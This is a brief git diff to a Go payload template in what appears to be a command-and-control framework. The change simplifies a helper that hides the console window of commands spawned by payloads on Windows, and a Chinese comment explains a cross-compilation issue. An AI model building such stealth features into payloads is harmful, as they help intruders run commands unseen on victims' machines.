diff --git a/internal/c2/payload_templates/proc_hide_windows.go.tmpl b/internal/c2/payload_templates/proc_hide_windows.go.tmpl index f26f60cd..3e514adf 100644 --- a/internal/c2/payload_templates/proc_hide_windows.go.tmpl +++ b/internal/c2/payload_templates/proc_hide_windows.go.tmpl @@ -12,8 +12,7 @@ func prepareHiddenCmd(cmd *exec.Cmd) { if cmd == nil { return } - cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: syscall.CREATE_NO_WINDOW, - } + // 仅用 HideWindow:等价于 CREATE_NO_WINDOW,且 macOS/Linux 交叉编译 Windows 时 + // syscall.CREATE_NO_WINDOW 常量不可用。 + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} }